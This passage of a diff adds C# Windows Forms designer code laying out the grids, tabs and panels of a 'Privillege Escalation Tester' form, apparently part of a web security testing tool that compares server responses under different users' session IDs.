System.Drawing.Size(870, 391); + this.CandidatesBottomSplit.SplitterDistance = 240; + this.CandidatesBottomSplit.TabIndex = 0; + // + // FilterTree + // + this.FilterTree.BackColor = System.Drawing.Color.White; + this.FilterTree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FilterTree.CheckBoxes = true; + this.FilterTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.FilterTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FilterTree.Location = new System.Drawing.Point(0, 0); + this.FilterTree.Margin = new System.Windows.Forms.Padding(0); + this.FilterTree.Name = "FilterTree"; + this.FilterTree.ShowRootLines = false; + this.FilterTree.Size = new System.Drawing.Size(238, 389); + this.FilterTree.TabIndex = 33; + this.FilterTree.BeforeCheck += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCheck); + this.FilterTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.FilterTree_AfterCheck); + this.FilterTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCollapse); + // + // SelectCandidatesLogsSplit + // + this.SelectCandidatesLogsSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SelectCandidatesLogsSplit.Location = new System.Drawing.Point(0, 0); + this.SelectCandidatesLogsSplit.Name = "SelectCandidatesLogsSplit"; + this.SelectCandidatesLogsSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SelectCandidatesLogsSplit.Panel1 + // + this.SelectCandidatesLogsSplit.Panel1.Controls.Add(this.CandidatesGrid); + // + // SelectCandidatesLogsSplit.Panel2 + // + this.SelectCandidatesLogsSplit.Panel2.Controls.Add(this.SessView); + this.SelectCandidatesLogsSplit.Size = new System.Drawing.Size(624, 389); + this.SelectCandidatesLogsSplit.SplitterDistance = 195; + this.SelectCandidatesLogsSplit.TabIndex = 0; + // + // CandidatesGrid + // + this.CandidatesGrid.AllowUserToAddRows = false; + this.CandidatesGrid.AllowUserToDeleteRows = false; + this.CandidatesGrid.AllowUserToOrderColumns = true; + this.CandidatesGrid.AllowUserToResizeRows = false; + this.CandidatesGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.CandidatesGrid.BackgroundColor = System.Drawing.Color.White; + this.CandidatesGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.CandidatesGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.CandidatesGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.dataGridViewTextBoxColumn3, + this.HostNameSelectClmn, + this.MethodClmn, + this.URLClmn, + this.FileClmn}); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.CandidatesGrid.DefaultCellStyle = dataGridViewCellStyle8; + this.CandidatesGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.CandidatesGrid.GridColor = System.Drawing.Color.White; + this.CandidatesGrid.Location = new System.Drawing.Point(0, 0); + this.CandidatesGrid.Margin = new System.Windows.Forms.Padding(0); + this.CandidatesGrid.MultiSelect = false; + this.CandidatesGrid.Name = "CandidatesGrid"; + this.CandidatesGrid.ReadOnly = true; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle9.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle9.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle9; + this.CandidatesGrid.RowHeadersVisible = false; + this.CandidatesGrid.RowHeadersWidth = 10; + this.CandidatesGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CandidatesGrid.Size = new System.Drawing.Size(624, 195); + this.CandidatesGrid.TabIndex = 6; + this.CandidatesGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CandidatesGrid_CellClick); + this.CandidatesGrid.SelectionChanged += new System.EventHandler(this.CandidatesGrid_SelectionChanged); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "SELECT"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.SelectClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.SelectClmn.Width = 60; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn3.HeaderText = "ID"; + this.dataGridViewTextBoxColumn3.MinimumWidth = 50; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Width = 50; + // + // HostNameSelectClmn + // + this.HostNameSelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.HostNameSelectClmn.HeaderText = "HOST"; + this.HostNameSelectClmn.Name = "HostNameSelectClmn"; + this.HostNameSelectClmn.ReadOnly = true; + this.HostNameSelectClmn.Width = 120; + // + // MethodClmn + // + this.MethodClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MethodClmn.HeaderText = "METHOD"; + this.MethodClmn.Name = "MethodClmn"; + this.MethodClmn.ReadOnly = true; + this.MethodClmn.Width = 60; + // + // URLClmn + // + this.URLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.URLClmn.HeaderText = "URL"; + this.URLClmn.MinimumWidth = 150; + this.URLClmn.Name = "URLClmn"; + this.URLClmn.ReadOnly = true; + // + // FileClmn + // + this.FileClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.FileClmn.HeaderText = "FILE"; + this.FileClmn.Name = "FileClmn"; + this.FileClmn.ReadOnly = true; + this.FileClmn.Width = 54; + // + // tabPage3 + // + this.tabPage3.BackColor = System.Drawing.Color.White; + this.tabPage3.Controls.Add(this.ResultsBaseSplit); + this.tabPage3.Location = new System.Drawing.Point(4, 25); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(876, 532); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Results "; + // + // ResultsBaseSplit + // + this.ResultsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsBaseSplit.Name = "ResultsBaseSplit"; + this.ResultsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsBaseSplit.Panel1 + // + this.ResultsBaseSplit.Panel1.Controls.Add(this.ResultsTopSplit); + // + // ResultsBaseSplit.Panel2 + // + this.ResultsBaseSplit.Panel2.Controls.Add(this.ResultsBottomTabs); + this.ResultsBaseSplit.Size = new System.Drawing.Size(876, 532); + this.ResultsBaseSplit.SplitterDistance = 271; + this.ResultsBaseSplit.TabIndex = 0; + // + // ResultsTopSplit + // + this.ResultsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ResultsTopSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsTopSplit.Name = "ResultsTopSplit"; + this.ResultsTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsTopSplit.Panel1 + // + this.ResultsTopSplit.Panel1.Controls.Add(this.ResultsProgressBar); + this.ResultsTopSplit.Panel1.Controls.Add(this.label4); + // + // ResultsTopSplit.Panel2 + // + this.ResultsTopSplit.Panel2.Controls.Add(this.ResultsGrid); + this.ResultsTopSplit.Size = new System.Drawing.Size(876, 271); + this.ResultsTopSplit.SplitterDistance = 65; + this.ResultsTopSplit.TabIndex = 39; + // + // ResultsProgressBar + // + this.ResultsProgressBar.Location = new System.Drawing.Point(213, 10); + this.ResultsProgressBar.Name = "ResultsProgressBar"; + this.ResultsProgressBar.Size = new System.Drawing.Size(409, 23); + this.ResultsProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ResultsProgressBar.TabIndex = 8; + this.ResultsProgressBar.Visible = false; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(4, 41); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(752, 13); + this.label4.TabIndex = 38; + this.label4.Text = "The entries that have a low percentage of difference indicate that the server ret" + + "urns the same content even when viewed with the Session ID of another User."; + // + // ResultsGrid + // + this.ResultsGrid.AllowUserToAddRows = false; + this.ResultsGrid.AllowUserToDeleteRows = false; + this.ResultsGrid.AllowUserToOrderColumns = true; + this.ResultsGrid.AllowUserToResizeRows = false; + this.ResultsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ResultsGrid.BackgroundColor = System.Drawing.Color.White; + this.ResultsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle10.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle10.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle10.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle10.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle10.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle10.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle10; + this.ResultsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ResultsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.IDClmn, + this.HostNameClmn, + this.TestedUrlClmn, + this.TestIdClmn, + this.OriginalVsTestClmn, + this.OriginalRequestBinaryStringClmn, + this.OriginalResponseBinaryStringClmn, + this.TestRequestBinaryStringClmn, + this.TestResponseBinaryStringClmn}); + dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle11.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle11.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle11.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle11.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle11.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle11.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.ResultsGrid.DefaultCellStyle = dataGridViewCellStyle11; + this.ResultsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ResultsGrid.GridColor = System.Drawing.Color.White; + this.ResultsGrid.Location = new System.Drawing.Point(0, 0); + this.ResultsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ResultsGrid.MultiSelect = false; + this.ResultsGrid.Name = "ResultsGrid"; + this.ResultsGrid.ReadOnly = true; + dataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle12.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle12.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle12.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle12.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle12.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle12.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle12; + this.ResultsGrid.RowHeadersVisible = false; + this.ResultsGrid.RowHeadersWidth = 10; + this.ResultsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResultsGrid.Size = new System.Drawing.Size(876, 202); + this.ResultsGrid.TabIndex = 7; + this.ResultsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResultsGrid_CellClick); + this.ResultsGrid.SelectionChanged += new System.EventHandler(this.ResultsGrid_SelectionChanged); + // + // IDClmn + // + this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.IDClmn.HeaderText = "ID"; + this.IDClmn.MinimumWidth = 50; + this.IDClmn.Name = "IDClmn"; + this.IDClmn.ReadOnly = true; + this.IDClmn.Width = 50; + // + // HostNameClmn + // + this.HostNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.HostNameClmn.FillWeight = 35.96939F; + this.HostNameClmn.HeaderText = "HostName"; + this.HostNameClmn.Name = "HostNameClmn"; + this.HostNameClmn.ReadOnly = true; + this.HostNameClmn.Width = 82; + // + // TestedUrlClmn + // + this.TestedUrlClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestedUrlClmn.FillWeight = 35.96939F; + this.TestedUrlClmn.HeaderText = "URL"; + this.TestedUrlClmn.Name = "TestedUrlClmn"; + this.TestedUrlClmn.ReadOnly = true; + // + // TestIdClmn + // + this.TestIdClmn.HeaderText = "Test ID"; + this.TestIdClmn.Name = "TestIdClmn"; + this.TestIdClmn.ReadOnly = true; + this.TestIdClmn.Visible = false; + // + // OriginalVsTestClmn + // + this.OriginalVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.OriginalVsTestClmn.FillWeight = 35.96939F; + this.OriginalVsTestClmn.HeaderText = "Percentage of Difference in Response due to change in User Account"; + this.OriginalVsTestClmn.Name = "OriginalVsTestClmn"; + this.OriginalVsTestClmn.ReadOnly = true; + this.OriginalVsTestClmn.Width = 364; + // + // OriginalRequestBinaryStringClmn + // + this.OriginalRequestBinaryStringClmn.HeaderText = "OriginalRequestBinaryString"; + this.OriginalRequestBinaryStringClmn.Name = "OriginalRequestBinaryStringClmn"; + this.OriginalRequestBinaryStringClmn.ReadOnly = true; + this.OriginalRequestBinaryStringClmn.Visible = false; + // + // OriginalResponseBinaryStringClmn + // + this.OriginalResponseBinaryStringClmn.HeaderText = "OriginalResponseBinaryString"; + this.OriginalResponseBinaryStringClmn.Name = "OriginalResponseBinaryStringClmn"; + this.OriginalResponseBinaryStringClmn.ReadOnly = true; + this.OriginalResponseBinaryStringClmn.Visible = false; + // + // TestRequestBinaryStringClmn + // + this.TestRequestBinaryStringClmn.HeaderText = "TestRequestBinaryString"; + this.TestRequestBinaryStringClmn.Name = "TestRequestBinaryStringClmn"; + this.TestRequestBinaryStringClmn.ReadOnly = true; + this.TestRequestBinaryStringClmn.Visible = false; + // + // TestResponseBinaryStringClmn + // + this.TestResponseBinaryStringClmn.HeaderText = "TestResponseBinaryString"; + this.TestResponseBinaryStringClmn.Name = "TestResponseBinaryStringClmn"; + this.TestResponseBinaryStringClmn.ReadOnly = true; + this.TestResponseBinaryStringClmn.Visible = false; + // + // ResultsBottomTabs + // + this.ResultsBottomTabs.Controls.Add(this.tabPage11); + this.ResultsBottomTabs.Controls.Add(this.tabPage5); + this.ResultsBottomTabs.Controls.Add(this.tabPage7); + this.ResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBottomTabs.Location = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsBottomTabs.Multiline = true; + this.ResultsBottomTabs.Name = "ResultsBottomTabs"; + this.ResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.SelectedIndex = 0; + this.ResultsBottomTabs.Size = new System.Drawing.Size(876, 257); + this.ResultsBottomTabs.TabIndex = 5; + // + // tabPage11 + // + this.tabPage11.Controls.Add(this.tabControl5); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Size = new System.Drawing.Size(868, 231); + this.tabPage11.TabIndex = 5; + this.tabPage11.Text = " Difference due to Change in User "; + this.tabPage11.UseVisualStyleBackColor = true; + // + // tabControl5 + // + this.tabControl5.Controls.Add(this.tabPage22); + this.tabControl5.Controls.Add(this.tabPage19); + this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl5.Location = new System.Drawing.Point(0, 0); + this.tabControl5.Margin = new System.Windows.Forms.Padding(0); + this.tabControl5.Name = "tabControl5"; + this.tabControl5.Padding = new System.Drawing.Point(0, 0); + this.tabControl5.SelectedIndex = 0; + this.tabControl5.Size = new System.Drawing.Size(868, 231); + this.tabControl5.TabIndex = 5; + // + // tabPage22 + // + this.tabPage22.Controls.Add(this.OriginalVsTestResponseDRV); + this.tabPage22.Location = new System.Drawing.Point(4, 22); + this.tabPage22.Margin = new System.Windows.Forms.Padding(0); + this.tabPage22.Name = "tabPage22"; + this.tabPage22.Size = new System.Drawing.Size(860, 205); + this.tabPage22.TabIndex = 1; + this.tabPage22.Text = " Difference in Responses "; + this.tabPage22.UseVisualStyleBackColor = true; + // + // tabPage19 + // + this.tabPage19.Controls.Add(this.OriginalVsTestRequestDRV); + this.tabPage19.Location = new System.Drawing.Point(4, 22); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Size = new System.Drawing.Size(860, 205); + this.tabPage19.TabIndex = 0; + this.tabPage19.Text = " Difference in Request "; + this.tabPage19.UseVisualStyleBackColor = true; + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.tabControl3); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(868, 231); + this.tabPage5.TabIndex = 2; + this.tabPage5.Text = " Changed User Request/Response "; + this.tabPage5.UseVisualStyleBackColor = true; + // + // tabControl3 + // + this.tabControl3.Controls.Add(this.tabPage16); + this.tabControl3.Controls.Add(this.tabPage15); + this.tabControl3.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl3.Location = new System.Drawing.Point(0, 0); + this.tabControl3.Margin = new System.Windows.Forms.Padding(0); + this.tabControl3.Name = "tabControl3"; + this.tabControl3.Padding = new System.Drawing.Point(0, 0); + this.tabControl3.SelectedIndex = 0; + this.tabControl3.Size = new System.Drawing.Size(868, 231); + this.tabControl3.TabIndex = 3; + // + // tabPage16 + // + this.tabPage16.Controls.Add(this.TestResponseView); + this.tabPage16.Location = new System.Drawing.Point(4, 22); + this.tabPage16.Margin = new System.Windows.Forms.Padding(0); + this.tabPage16.Name = "tabPage16"; + this.tabPage16.Size = new System.Drawing.Size(860, 205); + this.tabPage16.TabIndex = 1; + this.tabPage16.Text = " Response "; + this.tabPage16.UseVisualStyleBackColor = true; + // + // tabPage15 + // + this.tabPage15.Controls.Add(this.TestRequestView); + this.tabPage15.Location = new System.Drawing.Point(4, 22); + this.tabPage15.Margin = new System.Windows.Forms.Padding(0); + this.tabPage15.Name = "tabPage15"; + this.tabPage15.Size = new System.Drawing.Size(860, 205); + this.tabPage15.TabIndex = 0; + this.tabPage15.Text = " Request "; + this.tabPage15.UseVisualStyleBackColor = true; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.White; + this.tabPage7.Controls.Add(this.LogDisplayTabs); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(868, 231); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = " Original User Request/Response "; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(868, 231); + this.LogDisplayTabs.TabIndex = 3; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.OriginalResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(860, 205); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.OriginalRequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(860, 205); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // SessView + // + this.SessView.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessView.Location = new System.Drawing.Point(0, 0); + this.SessView.Name = "SessView"; + this.SessView.Size = new System.Drawing.Size(624, 190); + this.SessView.TabIndex = 2; + // + // OriginalVsTestResponseDRV + // + this.OriginalVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestResponseDRV.Name = "OriginalVsTestResponseDRV"; + this.OriginalVsTestResponseDRV.Size = new System.Drawing.Size(860, 205); + this.OriginalVsTestResponseDRV.TabIndex = 1; + // + // OriginalVsTestRequestDRV + // + this.OriginalVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestRequestDRV.Name = "OriginalVsTestRequestDRV"; + this.OriginalVsTestRequestDRV.Size = new System.Drawing.Size(860, 205); + this.OriginalVsTestRequestDRV.TabIndex = 0; + // + // TestResponseView + // + this.TestResponseView.BackColor = System.Drawing.Color.White; + this.TestResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestResponseView.IncludeReflectionTab = true; + this.TestResponseView.Location = new System.Drawing.Point(0, 0); + this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); + this.TestResponseView.Name = "TestResponseView"; + this.TestResponseView.ReadOnly = true; + this.TestResponseView.Size = new System.Drawing.Size(860, 205); + this.TestResponseView.TabIndex = 0; + // + // TestRequestView + // + this.TestRequestView.BackColor = System.Drawing.Color.White; + this.TestRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestRequestView.Location = new System.Drawing.Point(0, 0); + this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); + this.TestRequestView.Name = "TestRequestView"; + this.TestRequestView.ReadOnly = true; + this.TestRequestView.Size = new System.Drawing.Size(176, 0); + this.TestRequestView.TabIndex = 0; + // + // OriginalResponseView + // + this.OriginalResponseView.BackColor = System.Drawing.Color.White; + this.OriginalResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalResponseView.IncludeReflectionTab = true; + this.OriginalResponseView.Location = new System.Drawing.Point(0, 0); + this.OriginalResponseView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalResponseView.Name = "OriginalResponseView"; + this.OriginalResponseView.ReadOnly = true; + this.OriginalResponseView.Size = new System.Drawing.Size(860, 205); + this.OriginalResponseView.TabIndex = 0; + // + // OriginalRequestView + // + this.OriginalRequestView.BackColor = System.Drawing.Color.White; + this.OriginalRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalRequestView.Location = new System.Drawing.Point(0, 0); + this.OriginalRequestView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalRequestView.Name = "OriginalRequestView"; + this.OriginalRequestView.ReadOnly = true; + this.OriginalRequestView.Size = new System.Drawing.Size(176, 0); + this.OriginalRequestView.TabIndex = 0; + // + // PrivillegeEscalationTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "PrivillegeEscalationTester"; + this.Text = "Privillege Escalation Tester"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.PrivillegeEscalationTester_FormClosing); + this.Load += new System.EventHandler(this.PrivillegeEscalationTester_Load); + this.BaseTabs.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.ConfigurePanel.ResumeLayout(false); + this.ConfigurePanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).EndInit(); + this.tabPage4.ResumeLayout(false); + this.SessionsBaseSplit.Panel1.ResumeLayout(false); + this.SessionsBaseSplit.Panel1.PerformLayout(); + this.SessionsBaseSplit.Panel2.ResumeLayout(false); + this.SessionsBaseSplit.ResumeLayout(false); + this.SessionsBottomSplit.Panel1.ResumeLayout(false); + this.SessionsBottomSplit.Panel2.ResumeLayout(false); + this.SessionsBottomSplit.Panel2.PerformLayout(); + this.SessionsBottomSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.SelectSessionsGrid)).EndInit(); + this.tabPage2.ResumeLayout(false); + this.SelectCandidatesBaseTab.Panel1.ResumeLayout(false); + this.SelectCandidatesBaseTab.Panel1.PerformLayout(); + this.SelectCandidatesBaseTab.Panel2.ResumeLayout(false); + this.SelectCandidatesBaseTab.ResumeLayout(false); + this.CandidatesBottomSplit.Panel1.ResumeLayout(false); + this.CandidatesBottomSplit.Panel2.ResumeLayout(false); + this.CandidatesBottomSplit.ResumeLayout(false); + this.SelectCandidatesLogsSplit.Panel1.ResumeLayout(false); + this.SelectCandidatesLogsSplit.Panel2.ResumeLayout(false); + this.SelectCandidatesLogsSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).EndInit(); + this.tabPage3.ResumeLayout(false); + this.ResultsBaseSplit.Panel1.ResumeLayout(false); + this.ResultsBaseSplit.Panel2.ResumeLayout(false); + this.ResultsBaseSplit.ResumeLayout(false); + this.ResultsTopSplit.Panel1.ResumeLayout(false); + this.ResultsTopSplit.Panel1.PerformLayout(); + this.ResultsTopSplit.Panel2.ResumeLayout(false); + this.ResultsTopSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).EndInit(); + this.ResultsBottomTabs.ResumeLayout(false); + this.tabPage11.ResumeLayout(false); + this.tabControl5.ResumeLayout(false); + this.tabPage22.ResumeLayout(false); + this.tabPage19.ResumeLayout(false); + this.tabPage5.ResumeLayout(false); + this.tabControl3.ResumeLayout(false); + this.tabPage16.ResumeLayout(false); + 